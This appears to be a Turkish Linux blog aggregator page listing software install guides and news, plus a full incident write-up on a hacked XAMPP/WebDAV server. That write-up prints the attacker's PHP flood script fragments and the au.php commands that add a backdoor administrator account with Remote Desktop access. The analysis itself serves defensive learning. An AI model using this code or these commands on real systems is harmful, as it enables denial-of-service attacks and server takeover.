Truva Linux Türkiye Gezegen

January 20, 2017

Albert Nedir? Nasıl Kurulur? (Ubuntu/Linux Mint)

Albert, Mac’teki Alfred uygulamasından esinlenerek hazırlanmış, Linux’te kullanabileceğiniz bir hızlı başlatıcıdır. Albert’ı kullanarak hızlı bir şekilde uygulamalarınızı çalıştırabilir, dosyalarınızı açabilir, web’te arama yapabilir, sık kullanılanlarınızı tarayıcınızda açabilir, matematik hesaplamaları ve daha fazlasını yapabilirsiniz.  Albert, C++ ile yazılmıştır ve Qt5 framework

Aptik Nedir? Nasıl Kurulur? (Ubuntu/Linux Mint)

Aptik ile yazılım kaynaklarınızı (PPA), bilgisayarınıza kurduğunuz yazılımları ve diğer kullanıcı verilerini birkaç tıklamayla yedekleyebileceğiniz ve bu yedekleri geri yükleyebileceğiniz basit bir programdır.  Aptik ile Neler Yapabilirsiniz? Launchpad PPA’ları yedekleyebilir ve geri yükleyebilirsiniz. Kurduğunuz yazılımları yedekleyebilir ve geri yükleyebilirsiniz. İndirdiğiniz

January 19, 2017

Linux Kernel 4.9 Sürümü LTS Oldu

Linux Kernel 4.9’un LTS (Uzun Süreli Destek) olması bekleniyordu. Beklenen açıklama bugün Greg Kroah-Hartman’dan geldi. Yayınladığı mesajda 4.9’un yeni uzun süreli desteğe sahip kernel versiyonu olduğunu söyledi.  Linux 4.9’dan önceki LTS sürümü Linux 4.4’tü. Linux 4.9 LTS’ye olan destek Ocak 2019’a kadar olacak. Linux 4.4 sürümüne olan destek Şubat 2018’e kadar olacak. Linux 3.18 LTS

January 18, 2017

Kali Linux Sertifikası Resmi Olarak Duyuruldu

Bugün Offensive Security tarafından Kali Linux Sertifikası (Kali Linux Professional Certification) duyuruldu.  Eğer bilgi güvenliği alanında yeniyseniz, ya da başlamak istiyorsanız KLCP temel sertifikaya sahip olmalısınız. “Koşmadan önce yürümelisin.” felsefesi üzerine kurulu olan KLCP, size profesyonel bilgi güvenliği alanında, çalışma ortamınızla ilgili temel bilgileri verecek.   KLCP

January 16, 2017

Bir Saldırı Hikayesi

Web sunucularımız üzerinde muhtelif betik dilleriyle yazılmış olan web uygulamaları çalıştırıyoruz. Genellikle çalışan web uygulamalarının iyi niyetli olmasından dolayı web sunucularımız genellikle standar kurulduğu halde kalıyor. Özel bir yapılandırma veya güçlendirme yapmaksızın kullanıcıların sunucularımza dosya yüklemesine ve çalıştırmasına izin veriyoruz. Buradaki önemli soru web sunucularımızda çalışacak olan PHP, ASP, Python gibi betiklerin neler yapabileceği…

Bir süre önce yüksek bantgenişliğine sahip bir web sunucunda tuhaf şeyler olduğu, sunucudan ne olduğu belli olmayan çok sayıda paketin çıktığı ve çok yüksek bangenişliği tüketildiğine dair bir şikayet aldım.

Olayı yerinde incelemek için bir otobüse atlayıp 6 saatlik bir yolculuk yaptıktan sonra nihayet sistem odasına ulaşabildim. Soruna neden olan web sunucusu Windows Server 2008 RC2 işletim sistemine sahip bir Windows sunucuydu. Üzende Xammp web sunucu paketi kurulmuştu ve PHP ile yazılmış özel bir web uygulaması bu sistemde çalışmaktaydı.

İlk olarak XAMMP paketiyle gelen Apache web sunucunun loglarını incelemek için log dosyasına baktığımda log dosyasının hiç arşivlenmediğini ve bu yüzden devasa boyutları ulaştığını gördüm. İyi yanı uğraşmam gerekcek tek bir log dosyası vardı kötü yanı ise bu dosya neredeyse 2 GB civarındaydı. Windows ortamında bu dosyayı açarak içerisindeki kayıtları incelememi sağlayacak bir teknoloji bulunmadığından dosyanın bir kopyasını emektar Ubuntu makineme aktardık.

Aktarım işlemi bittiğinde sunucu odasından daha sessiz ve rahat bir yerde oturup ~2G boyutundaki bir text dosyasını şüpheli durumlar için incelemeye başladık. Tabii ki bu aşamada cat, grep, cut, awk, less gibi muhteşem araçları kullandığımız için çok fazla sıkıntı yaşamadık…

Bir yandan devasa boyuttaki logları incelemeye devam ederken, bir yandan da sistemi olası bir sıradışı durum için göz altında tutmaya devam ettik. Ancak akşama kadar beklememize rağmen sistemde her hangi bir sıradışı durum gözlenmedi…

Bu süreçte sunucuya gelen tüm trafiğin kayıt edilidği pcap dosyalarını incelemeye başladım. Pcap dosyalarından tek görebildiğim bozuk UDP paketlerinin belirli IP adreslerine doğru yol aldığıydı. Kayıt edilen pcap dosyalarını incelerken nihayet UDP paketlerinin uçuşmaya başladığı anı keşfettim…

Web sunucuna aşağıdaki gibi bir GET istediği geldiğinde bozuk UDP paketlerinin uçuşmaya başlıyordu.

GET /webdav/sh.php?host=kurban.com&port=8021&protocol=udp&time=36060 HTTP/1.1
Host: 123.123.123.123
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip , deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

Bu neler olup bittiğine dair en önemli ip ucuydu. Bir saldırgan sisteme yüklenmiş olan bir dosyaya host, port, protocol ve time parametreleri göndererek bir DoS saldırısı başlatıyordu. Bu saldırı ise çok büyük bant genişliği tüketilmesine neden oluyordu…

Yine cat, grep gibi şahane Unix araçları kullanılarak Apache web sunucuna ait loglar incelendiğinde aşağıdaki gibi bir kayıt tespit edildi.

111.111.111.111 - wampp [25/Feb/2011:07:39:46 +0200] "PUT /webdav/sh.php HTTP/1.1" 201 361 "-" "WEBDAV Client"

Yani bir saldırgan yazmaya açık olan webdav dizinine sh.php dosyasını yüklemeyi başarmıştı. Kayıtları incelenmeye devam ettiğimde sisteme üç dosya daha eklendiğini fark etmem uzun sürmedi. Ancak zop.php isimli dosya çalıştırıldıktan sonra silindiği için kod analizi yapma şansım olmadı. Silinen dosya kurtarılarak incelenebilirdi ancak Sunucu sistemi aktif olarak çalışmaya devam ettiği için dosya kurtarma çalışması yapmama izin verilmedi.

111.111.111.111 - wampp [25/Feb/2011:07:39:51 +0200] "PUT /webdav/au.php HTTP/1.1" 201 361 "-" "WEBDAV Client" 
111.111.111.111 - wampp [25/Feb/2011:07:39:46 +0200] "PUT /webdav/help.php HTTP/1.1" 201 363 "-" "WEBDAV Client"
111.111.111.111 - wampp [25/Feb/2011:07:39:51 +0200] "PUT /webdav/zop.php HTTP/1.1" 201 362 "-" "WEBDAV Client"
111.111.111.111 - - [25/Feb/2011:07:39:55 +0200] "GET /webdav/zop.php HTTP/1.1" 200 57 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
111.111.111.111 - wampp [25/Feb/2011:07:39:55 +0200] "DELETE /webdav/zop.php HTTP/1.1" 204 - "-" "WEBDAV Client"

Saldırgan tarafından sisteme yüklenen bu dosyaları bulduktan sonra ilk iş dosyaların kaynak kodlarını incelemek oldu.

İlk olarak sh.php dosyasına bir göz atalım.

if(isset($_GET['update'])){ //Update the shell
  $currentFile = $_SERVER["SCRIPT_NAME"];
  $parts = Explode('/', $currentFile);
  $currentFile = $parts[count($parts) - 1];

  $newshell = $_GET['update'];
  copy($newshell, $currentFile);
 }

Bu satırlar web uygulamasının kendisini update etmesini sağlıyor. Böylece saldırgan dilediği zaman sh.php dosyasını update parametresi ile çağırarak güncelleyebiliyor.

ignore_user_abort(TRUE);
set_time_limit(0);

Eğer saldırgan sh.php dosyasına bir hedef göstermişse, sh.php betiği ignore_user_abort değerini True yaparak kendisinin dışarıdan gelecek bir kesmeyle durdurulmasını engelliyor.

set_time_limit değeri sıfır yapılarak sh.php betiğinin zaman aşımına uğraması ve durdurulması engelleniyor. Bu sayede sh.php betiği sonsuza kadar çalışabilir hale geliyor.

for($i=0;$i<8192;$i++){
        $out .= 'X';
}

Bu kod hedef sisteme gönderilecek olan paketin data kısmını oluşturuyor. Yaptığı tek şey $out değişkeninde, 8192 karakter uzunluğunda X harflerinden oluşan bir metin yaratmak.

$fp[4096];

for ($i = 0; $i<4096; $i++) {
 if($fp[$i]){
  fwrite($fp[$i], $out);
 }else{
  $fp[$i] = fsockopen($protocol.'://'.$host, $port, $errno, $errstr, 1);
  fwrite($fp[$i], $out);
 }
}

Ve yukarıdaki kod parçacığı while(1) kısır döngüsü içerisinde, 4096 adet soket açarak, hedef sistme bağlantı kuruyor. Açılan her bir sokete 8192 byte uzunluğundaki $out değişkenini yazıyor. Sonuç olarak hedef sisteme çok yüksek sayıda ve büyüklükte paket gönderilmesine neden oluyor…

if(time() > $max_time){
 for ($i = 0; $i<4096; $i++) //Close all sockets
  fclose($fp[$i]);
 exit;
}

Bu döngü saldırganın belirttiği süre dolduğunda otomatik olarak son buluyor ve açılan soketler kapatılarak sh.php betiğinden çıkılıyor…

Şimdi saldırgan tarafından sisteme yüklenen diğer betiklerin ne olduğuna bir bakalım.

au.php dosyası içeriği;

exec('net user helpuser Password!23 /ADD', $results2);
exec('net localgroup "Remote Desktop Users" helpuser /add', $results4);
exec('net localgroup administrators helpuser /add', $results3);

Yukarıdaki kodlar Windows’un net komutunu çalıştırarak sisteme bir kullanıcı ekliyor, ardından eklediği kullanıcıyı “Remote Desktop Users” grubuna ekliyor. Son olarak çalıştırılan net localgroup komutu ise saldırgan tarafından eklenen kullanıcıyı administrators grubuna ekleyerek yönetici yetkilerini veriyor.

Bu kodlar başarıyla çalıştığında saldırgan, sisteme Uzak Masaüstü bağlantısı yapabilen ve Admin yetkilerine sahip bir kullanıcıya sahip oluyor. Yani tam anlamıyla sunucuyu ele geçirmiş durumda…

Saldırgan Dosyaları Nasıl Yüklemiş?

Sunucu kurulumunu yapan firma “kolay” olması açısından XAMMP paketini kurmayı tercih etmiş. Ellerindeki kurulum dosyasının üzerine çift tıklayıp next next next diyerek web sunucusu kurulumu yapmışar ve müşterilerine teslim etmişler. Gözden kaçırdıkları nokta aslında gerekli olmayan webdav servisinin açık olmasıymış.

İşin daha da vahim tarafı sisteme kurdukları XAMMP paketinde, ön tanımlı webdav kullanıcı adı ve parolasının wampp / xampp olarak geldiğini gözden kaçırmışlar.  Saldırgan ip adreslerini dolaşıp webdav açığı ararken bu sununyucu fark ettiğinde bir webdav istemcisiyle dosyaları sisteme yüklemiş ve akabinde php betiklerini çalıştırarak sistemi ele geçirmiş…

Ölümcül hatalardan bir diğeri ise XAMMP paketi kurulurken hiç bir özel yapılandırma olmaksızın kurulması. Apache web sunucusu Windows 2008 RC2 işletim sistemi üzerinde System yetkileri ile çalışıyor. Sonuç olarak çalışıtırılan php betikleri de System yetkileri ile çalışıyor. Bu nedenle saldırgan çok kolay bir şekilde sisteme kullanıcı ekleyip, bu kullanıcıyı administrator grubuna dahil edebiliyor…

Oysa web sunucusu için kısıtlı yetkilere sahip bir kullanıcı hesabı açılsa ve web sunucu servisi bu kullanıcı yetkileriyle çalışacak şekilde yapılandırılmış olsa saldırının sonuçları bu kadar vahim olmayacaktı…

Diğer yandan kullanılan XAMMP paketinin güncel bir sürümü yüklenmiş olsa, güncellemeleri takip edilmiş olsa veya kullanılmadığı halde çalışan webdav kapatılmış olsa böyle bir sıkıntı yaşanmayacaktı.

Bu olaydan çıkması gereken derslere gelirsek;

0- Ezbere sunucu kurmayın.
1- Gereksiz servis çalıştırmayın.
2- Servisleri System yetkileriyle çalıştırmayın.
3- Ön tanımlı parolalar varsa mutlaka değiştirin.

 

Bir Saldırı Hikayesi yazısı ilk önce ÇaylakPenguen Blog üzerinde ortaya çıktı.

Linux Mint 18.1 "Serena" KDE Beta Sürümü Çıktı

Linux Mint ekibi Linux Mint 18.1 "Serena" KDE BETA sürümünü yayınladı. Linux Mint 18.1 LTS desteğine sahip olan sürüm 2021'e kadar desteklenecek. Güncellenmiş yazılımları ve yeni özellikleri içerisinde barındıran bu sürüm, kullanımınızı daha rahat hale getiriyor. Bu yeni sürümde birçok geliştirme mevcut. Bunların neler olduğunu şu adresten öğrenebilirsiniz. Linux Mint 18.1 "

ClipGrab Nedir? Nasıl Kurulur? (Ubuntu/Linux Mint)

ClipGrab, Youtube, Dailymotion veya Vimeo vb. sitelerdeki beğendiğiniz videoları bilgisayarınıza indirebileceğiniz, GPLv3 lisansına sahip, açık kaynaklı bir yazılımdır.  Videoları hem orijinal haliyle hem de WMV, MPEG4, OGG Theora, MP3 (sadece ses), OGG Vorbis (sadece ses) formatında indirebilirsiniz. Bazı sitelerden indirirken format seçme kısmı aktif olmayabilir. ClipGrab’ın

January 15, 2017

Telegram Nedir? Nasıl Kurulur? (Ubuntu/Linux Mint)

Popüler mesajlaşma uygulamalarından biri olan Telegram, çoklu platform desteğine sahiptir. Windows, Mac OS X, Linux, Android, iOS, Windows Phone ve Ubuntu Touch’ta çalışabilmektedir. İki buçuk yılda 100 milyondan fazla aktif kullanıcı sayısına ulaşmıştır. Basit, hızlı, güvenli ve bütün cihazlarınızla senkronize olabilmektedir.  Telegramı kurmak için aşağıdaki iki yöntemden hangisi sizin

January 13, 2017

VidCutter Nedir? Nasıl Kurulur? (Ubuntu/Linux Mint)

VidCutter, çapraz (ya da çoklu) platform, Qt5 tabanlı, videoları hızlı ve kolay bir şekilde bölüp birleştirebileceğiniz ve üzerinde basit değişiklikler yapabileceğiniz ücretsiz bir yazılımdır.  Python3 ile yazılmıştır ve PyQt5 arayüzünü, video ve ses ile ilgili işlemler için de FFmpeg’i kullanır.  VidCutter’ın Desteklediği Formatlardan Bazıları:  AVI, MP4, MPEG 1/2, WMV, MP3, MOV, 3GP, FLV

Inkscape Nedir? Nasıl Kurulur? (Ubuntu/Linux Mint)

Inkscape, Windows, Linux ve Mac OS X’te kullanabileceğiniz, ücretsiz ve açık kaynak bir profesyonel vektörel grafik yazılımıdır. Inkscape ile logo hazırlayabilir, çizimler yapabilir ve afişler hazırlayabilirsiniz. Inkscape'i var olan resimleri düzenlemek için de kullanabilirsiniz. Inkscape Kurulumu Nasıl Yapılır? Inkscape'i kurmak için aşağıdaki komutları sırasıyla terminalde

January 10, 2017

Synfig Studio Nedir? Nasıl Kurulur?

Synfig Studio (bilinen adıyla SINFG), 2D animasyonlar oluşturabileceğiniz ücretsiz bir yazılımıdır. 2005 yılında Robert Quattlebaum tarafından GNU lisansı altında açık kaynak olması için oluşturuldu. Bu yazılımı film animasyonları, web animasyonları, reklamlar vb. hazırlamak için kullanabilirsiniz.  Synfig Studio’nun kararlı sürümü Microsoft Windows (XP/Vista/7), Linux RPM-tabanlı

January 09, 2017

Sid Meier’s Civilization VI Linux’e Gelecek

Aspyr Media, 2016 yılında Sid Meier's Civilization VI oyununun Linux’e gelip gelmeyeceğiyle ilgili birçok belirsizlik bırakmıştı. Bugün resmi olarak en son çıkan Civilization’ı Linux’e getireceklerini blogunda duyurdular.  Sid Meier’s Civilization VI, geçtiğimiz ekim ayında Windows ve MacOS oyuncuları için çıkmıştı ve Aspyr, Civilization: Beyond Earth’ü Linux’e port ettikten sonra aynısını

PCSX2 Nedir? Nasıl Kurulur? (Ubuntu/Linux Mint)

PCSX2, açık kaynak ve GNU GPL v3 lisansına sahip, Windows, Linux ve Mac’te kullanabileceğiniz bir PlayStation 2 emülatörüdür. PCSX’in arkasındaki ekip (Orijinal PlayStation için bir emülatör) tarafından 2002’de başlatıldı. PCSX2’nin Bazı Özellikleri: Oyunun herhangi bir yerindeyken tek tuşla kaydedebilirsiniz. Limitsiz hafıza kartları: İstediğiniz kadar hafıza kartlarını kayıt

January 06, 2017

Krita Nedir? Nasıl Kurulur? (Ubuntu/Linux Mint)

Krita, baştan sonra profesyonel işler oluşturmak isteyenlerin kullanabileceği, tam özellikli, Photoshop’a en iyi alternatif ücretsiz bir yazılımdır.  Versiyon 2 veya üstü GNU lisansına sahiptir.  Hem görünüm hem de içerisindeki özellikler bakımından Photoshop’a çok benzemektedir. Aynı tarzdaki ücretsiz yazılımlarla kıyaslandığında kendine has ya da onlarda olmayan bazı özellikleri de

January 05, 2017

Linux Mint 18.1 "Serena" XFCE Beta Sürümü Çıktı

Linux Mint ekibi Linux Mint 18.1 "Serena" XFCE BETA sürümünü yayınladı. Linux Mint 18.1 LTS desteğine sahip olan sürüm 2021'e kadar desteklenecek. Güncellenmiş yazılımları ve yeni özellikleri içerisinde barındıran bu sürüm, kullanımınızı daha rahat hale getiriyor. Bu yeni sürümde birçok geliştirme mevcut. Bunların neler olduğunu şu adresten öğrenebilirsiniz. Linux Mint 18.1 "Serena

January 04, 2017

PeaZip Nedir? Nasıl Kurulur?

PeaZip, kolay ve hızlı bir şekilde ZIP dosyaları oluşturan, oluşturulan dosyaları açabilen, grafik arayüze sahip ve birçok platformda çalışabilen, açık kaynak ve 7-Zip tabanlı ücretsiz bir yazılımdır.  PeaZip, 188 tane dosya uzantısını destekliyor. Desteklediği uzantılardan bazıları 7Z, ARC, BZ2, GZ, *PAQ, PEA, QUAD/BALZ, TAR, UPX, WIM, XZ ve ZIP. Buna ek olarak 50’den fazla arşiv

January 03, 2017

Turksat otomatik kanal arama yeni frekans

4 ocak 2017 itibariyle yeni turksat kanal arama frekansi

12380 V SR:27500 

netdeki diger bircok sayfadaki bilgi eski

TRT 4K yeni ayarlar

trt 4k nin en son frekans bilgisi soyle:

frekans: 10980
sr: 12500
polarizasyon: V

3 ocak 2017 itibariyle son deger boyle
netde goreceginiz diger degerler eski

January 02, 2017

StreamTuner2 Nedir? Nasıl Kurulur?

StreamTuner2, Python’la yazılmış, açık kaynak kodlu internet radyo istasyonu ve video tarayıcısı yazılımıdır. StreamTuner2’yi ilk çalıştırdığızda açılan pencerede, yazılımın içinde çalıştıracağınız ses, video gibi dosyaların bilgisayarınızdaki hangi yazılımla çalışacağını seçmenizi istiyor.  Yazılım, birkaç tane servisi aynı uygulama içinde gösterebilmek için size bir arayüz sunuyor.

Master PDF Editor Nedir? Nasıl Kurulur? (Ubuntu/Linux Mint)

Master PDF Editor, PDF dökümanları oluşturabileceğiniz, düzenleyebileceğiniz, görüntüleyebileceğiniz ve bundan daha fazlasını yapabileceğiniz komple bir çözüm sunuyor. Master PDF Editor Özellikleri: PDF yazı, resim veya sayfaları düzenleyebilir Yeni PDF oluşturabilir, oluşturduğunuz PDF’leri düzenleyebilir PDF dosyalarına yer imleri ekleyebilir 128 bit şifreleme ile PDF dosyalarınızı

DVDStyler Nedir? Nasıl Kurulur? (Ubuntu/Linux Mint)

DVDStyler, birçok platformda çalışabilen, DVD hazırlayabileceğiniz ücretsiz bir program. DVDStyler’ın Linux için resmi bir paketi yok. Bu yüzden resmi olmayan PPA ile kurulum yapmamız gerekiyor. DVDStyler Kurulumu [PPA] (Ubuntu/Linux Mint) DVDStyler’ı kurmak için aşağıdaki komutları terminalde çalıştırın.  sudo add-apt-repository ppa:ubuntuhandbook1/dvdstyler sudo apt update sudo

December 24, 2016

Linux’te Web Kamera ve Mikrofon Nasıl Kapatılır? (Ubuntu/Linux Mint)

Birçoğunuzun mutlaka laptopu vardır. Laptopların üzerinde de video ve sesli sohbet için genelde web kamera ve mikrofon bulunur. Bu yüzden kullanıcılarla ilgili bilgileri çalabilmek için de malware saldırıları web kameraları da hedef alabiliyor. Her ne kadar bu saldırılar, daha çok kullanıcıya sahip olan Windows ve Mac için yapılıyor olsa da Linux’un zaman içinde gelişmesi ve kullanımının

December 23, 2016

Oracle VM VirtualBox Nedir? Nasıl Kurulur?

Oracle VM VirtualBox (eski adıyla Sun VirtualBox, Sun xVM VirtualBox ve Innotek VirtualBox) ücretsiz ve açık kaynak kodlu bir yazılım. Bu yazılım sayesinde bilgisayarınızda sanal bir işletim sistemi kurup, kurduğunuz sistemi test edebilir ya da kullanabilirsiniz. VirtualBox, Windows (NT 4.0, 2000, XP, Server 2003, Vista, Windows 7, Windows 8, Windows 10), DOS/Windows 3.x, Linux (2.4, 2.6,

Nouveau GSoC Geliştiricisi Artık Valve İçin Çalışıyor

Valve,VR için AMDGPU DRM’i geliştirmek istiyor. Bu yüzden Mesa geliştiricileriyle açık kaynak AMD sürücüsünü geliştirmek için anlaşmak istiyor. İşe aldığı o geliştiricilerden birinin kim olduğunu artık biliyoruz. Samuel Pitoiset, üç yıl önce Google Summer of Code (GSoC) için Nouveau hesaplama desteği konusunda çalışmaya başlamıştı. Bu süre zarfında çoğunlukla performans ve hesaplama

December 22, 2016

Steam Kış İndirimindeki Linux Oyunlarının Fiyatları (2016)

Biriktirdiğiniz paraları harcamanın vakti geldi. :) Oyuncuların merakla beklediği Steam kış indirimleri başladı. Almayı isteyebileceğiniz Linux oyunlarından bazılarının fiyatları aşağıda listelendi.  2016’nın En İyi Linux Oyunlarından 5 Tanesinin İndirimli Fiyatları: Deus Ex: Mankind Divided – Normal Fiyatı: 148,99 TL, İndirimli Fiyatı: 49,16 TL Hyper Light Drifter – Normal Fiyatı: 31,00

Linux’te Çalışan Oyun Sayısı 2155 Oldu

1994 yılında Dave D. Taylor Doom’u Linux’e port etti ve yeni bir dönem başladı. 1996 yılında yine Dave Taylor, boş zamanlarında, geliştirici stüdyosu Crack dot Com tarafından Abuse ve daha sonra Quake, Linux’e port edildi. Sonraki büyük oyunlardan biri SimCity’nin Linux’e gelmesi oldu. 2012’nin Temmuz ayında oyun geliştiricisi ve içerik dağıtıcısı Valve Software, kaynak motorunu Linux’e

Google Earth For Linux Nasıl Kurulur?

Google Haritalar/Google Earth harita ve arazi verileri, görüntüler, iş listeleri, trafik, değerlendirme ve Google, lisans verenleri ve kullanıcıları tarafından sağlanan diğer ilgili bilgiler ("İçerik") dahil olmak üzere çeşitli içerikleri görüntülemenizi ve kullanmanızı sağlar. Google Earth For Linux Kurulumu (Terminal) Google Earth’ü terminalden kurmak isterseniz aşağıdaki iki kodu

December 21, 2016

Linux’te Firefox’la Netflix Nasıl İzlenir?

Firefox 49 sürümüyle birlikte Google’ın tarayıcıdan DRM içeriğini oynatma özelliği, Firefox kullanıcıları için de geldi. Bu sayede Google Chrome’u kurmadan, Netflix’i ve diğer DRM servislerini de Firefox ile izlemek mümkün. Güzel yanlarından biri de izledikten sonra DRM’i kapatabilirsiniz. Uyarı: Bilgisayarınızdaki Firefox sürümü en az Firefox 49 olmalı. DRM İçeriğini Aktif Etmek

LibreOffice, MUFFIN Arayüzünü Duyurdu

The Document Foundation, LibreOffice için hazırlanan MUFFIN isimli yeni arayüzü bugün duyurdu. MUFFIN, LibreOffice 5.3 sürümünden itibaren kullanabileceğiniz, farklı arayüzlerin kombinasyonundan oluşan bir konsepte sahip.  Geliştirilme sürecinde LibreOffice kullanıcılarının önerdiği üç şeye dikkat edildi.  - LibreOffice kullanıcıları, kullanıcıların davranışlarına adapte olabilme

TypeCatcher Nedir? Nasıl Kurulur?

TypeCatcher, Google Web Fonts’ları (Yazı Tipleri) kolay bir şekilde indirip kurabilmenize imkan tanıyan çok basit ve hafif bir yazılım. Bildiğiniz gibi Google Fonts, daha çok web sitelerinde kullanılıyor. Fakat yazı tiplerini bilgisayarınıza kurmak istiyorsanız TypeCatcher’ı kullanabilirsiniz. TypeCatcher Kurulumu (Debian/Ubuntu/Linux Mint) TypeCatcher’ı depodan kurabilirsiniz.

December 20, 2016

Bilgisayarlar işimizi elimizden mi alıyor?

George Orwell’in 1984’ü en çok satılan kitaplar listesinden düşmüyor. İnternet’in yaygınlaşmadığı ve kişisel bilgisayarların henüz belirmediği yıllarda 1984, toplumdaki bazı eğilimleri abartan bir roman olarak algılanabiliyordu. Örneğin sosyolog James B. Rule, 1973 yılında artan gözetim sistemleri üzerine oluşturulan korku hikayelerinin abartılı bir yaklaşım sergilediğini söylüyor ve bu hikayelerin gerçek olabilmesi için önünde dört büyük engelin olduğunu vurguluyordu. Birinci olarak, kişisel bilgilerin saklanması ve daha sonra bunlardan anlamlı bilgi kümeleri oluşturulabilmesi için teknik yetersizlikler vardı. İkincisi, farklı yerlerdeki bilgiyi birleştirecek merkezi bir sistem yoktu. Üçüncüsü, Orwell’in 1984’ünde bilgisayar sistemleri anlık durumları analiz edip anında yanıtlar verebiliyordu. Zamanın bilgisayarlarının gelişmişlik seviyesi düşünüldüğünde bu tamamen olanaksızdı. Dördüncüsü, 1984’de bilgisayarlar insanların her anlarını gözetleyebiliyordu ama bu 1970lerin teknolojisi için hayal bile edilemez bir durumdu.

Günümüzdeki teknolojinin bu dört engeli ortadan kaldırdığını biliyoruz. Sosyal ağlar, büyük veri, yapay zeka, giyilebilir teknolojiler, şeylerin interneti… Tam da bu nedenle 1984 bugün daha çok okunuyor. Ama bu okumayı bir adım öteye götürmemiz gerekiyor. 1984’ü andıran bir gelecek hangi toplumsal koşullarda oluşuyor? Bu soruyu sormadan, gözetim “totaliter” yönetimlerin faaliyetlerine indirgenip mülkiyet ilişkileri sorgulanmadığında sonuç kısa vadeli çıkarlar için bir boş vermişlik oluyor. Bu bağlamda, soğuk savaşın izlerini taşıyan 1984 ile karşılaştırıldığında Tahsin Yücel’in Gökdelen adlı romanı, bugünkü toplumsal ilişkilerin gelecekteki olası izdüşümlerini çok daha başarılı bir şekilde sunuyor.

Roman, 2073 yılı Türkiye’sinde geçmekte. Kitabın kahramanı Can Tezcan ülkenin önde gelen hukuk bürolarından birinin sahibi, yetenekli bir avukat ve eski bir devrimcidir. Bu yetenekli avukatın başarılı olamadığı iki dava vardır. Birincisinde müvekkili eski bir arkadaşıdır. Hukuk dışı etkenler devreye girmekte, Can Tezcan arkadaşının masumluğu konusunda hakimi bir türlü ikna edememektedir. Lehindeki tüm delillere rağmen mahkeme, başbakanın bu özel davasında ipe sapa gelmez gerekçelerle beraat talebini reddetmektedir. Can Tezcan bir zamanlar espri olarak ifade ettiği fikri artık ciddi ciddi düşünmektedir: Yargıyı özelleştirmek!

…geçen yüzyılın sonlarından beri her şey özelleştirildi bu ülkede, öncelikle yabancılara, yabancı alıcı çıkmayınca da yerli kodamanlara, yani onların taşeronlarına satıldı, dağlar, taşlar, ırmaklar, denizler, limanlar, havaalanları, gemiler, uçaklar, trenler, yollar, köprüler, fabrikalar, çöpler, okullar, üniversiteler, stadyumlar. Her şey özel kurumların elinde. Başbakan başbakanlıkta oturması karşılığında İsrailli bir kodamana kira ödüyor. Öyleyse, her şey özel kurumların elindeyse, yargı neden özelleştirilmesin ki? Evet, neden özelleştirilmesin? Yargının nesi eksik?

Böylece düzen daha tutarlı olacaktır. Çünkü “bugün yargı ne özel, ne kamusal. Daha doğrusu, kimi zaman özel gibi görünüyor, kimi zaman kamusal. Ama daha çok özel. Her şey yönetimin, yönetimin bile değil, hükümetin başındaki adamın iki dudağı arasında. Yani kamusal görüntüsü altında özel, özelden de öte, bireysel.” diyerek bu düşüncesini pekiştirmektedir. Ayrıca “bir ülkede her şey özelleştirilmişse, hukukçusundan polisine herkes özel öğretim kurumlarında yetiştiriliyorsa, yargının hâlâ bir devlet kurumu olarak kalması açık bir tutarsızlık”tır. Böylece adalet de bir meta olacaktır. Can Tezcan’ın (biraz da isteyerek) başarısız olduğu ikinci dava ise İstanbul’u ikinci bir New York yapmak isteyen ama yaşlı bir öğretmenin yüz beş metrekarelik evini elinden alamadığı için bu hayalini bütünüyle gerçekleştiremeyen Niyorklu Temel’in davasıdır. Can Tezcan’ın asıl amacı ilk davayı çözmektir. Bunun tek yolunun yargıyı özelleştirmek olduğuna inandığından kendi davasının bir an önce sonuçlandırılmasını isteyen (yargıyı satın alacak maddi gücü olan) Niyorklu Temel’i de kendi sorunun ancak yargının özelleştirilmesiyle çözülebileceği konusunda ikna eder; yargının sahibi olduktan sonra istedikleri her kararı alabileceklerdir…

Eski devrimci Can Tezcan için eski günler geride kalmıştır. O da çevresindeki bir çok insan gibi bir gökdelende oturmakta, her işini bilgisayarlarla halletmekte, canı sıkılınca da soluğu bir Avrupa şehrinde almaktadır. Zaman zaman hala devrimci olan ve sakıncalı kitaplar yazmaya devam eden arkadaşı Rıza Koç’la görüşmekte ve ona kitaplarını bastırması için maddi destekte bulunmaktadır. Önce Rıza Koç’tan, sonra başbakan Mevlüt Doğan’dan ve ardından sağ kolu Sabri Serin’den yılkı adamlarını dinler. İlk başta inanmak istemez. Yılkı atlar, başıboş atlardır. “Bir zamanlar atlar, eşekler, katırlar insanların yaşamının ayrılmaz bir parçasıyken, gün gelip iyice yaşlanıp da işe yaramaz olunca, kentlerden, köylerden uzaklara, dağlara, tepelere, ıssız bozkırlara sürülürmüş, onlar da birbirlerini bulup sürülerle dolaşırlarmış oradan oraya.” ve şimdi de bu yılkı atlarının yerini yılkı insanları almıştır. İşe yaramayan, daha doğrusu iş bulamayan insanlar doğaya terk edilmektedir. İnsanlar ya kendi istekleriyle ya da zenginlerin huzurunu kaçırmasınlar diye kentlerin dışına çıkarılmaktadır. Rıza Koç bu insanları şöyle anlatmaktadır:

insanlar gözlerden uzak yerlere, dağlara, tepelere çekilmek zorunda kalıyor nicedir, yaşlı, genç, kadın, erkek, çocuk, sürülerle, evet, sürülerle, yalınayak, yarı çıplak, pislik içinde, tarihöncesinden kalma hayaletler gibi dolaşıp duruyorlar öyle, solucan, kurbağa, sıçan, çekirge, ot, kabuk, yosun, daha ne bileyim, ne bulurlarsa yiyor, bir karga ölüsü için birbirlerine saldırıyorlar. Çiftliklere yaklaşmaları bile yasak, buraları insan azmanları ellerinde makineli tüfeklerle bekliyor; öldürdükleri de ölüden sayılmıyor, tıpkı dirilerinin diriden sayılmadığı gibi…

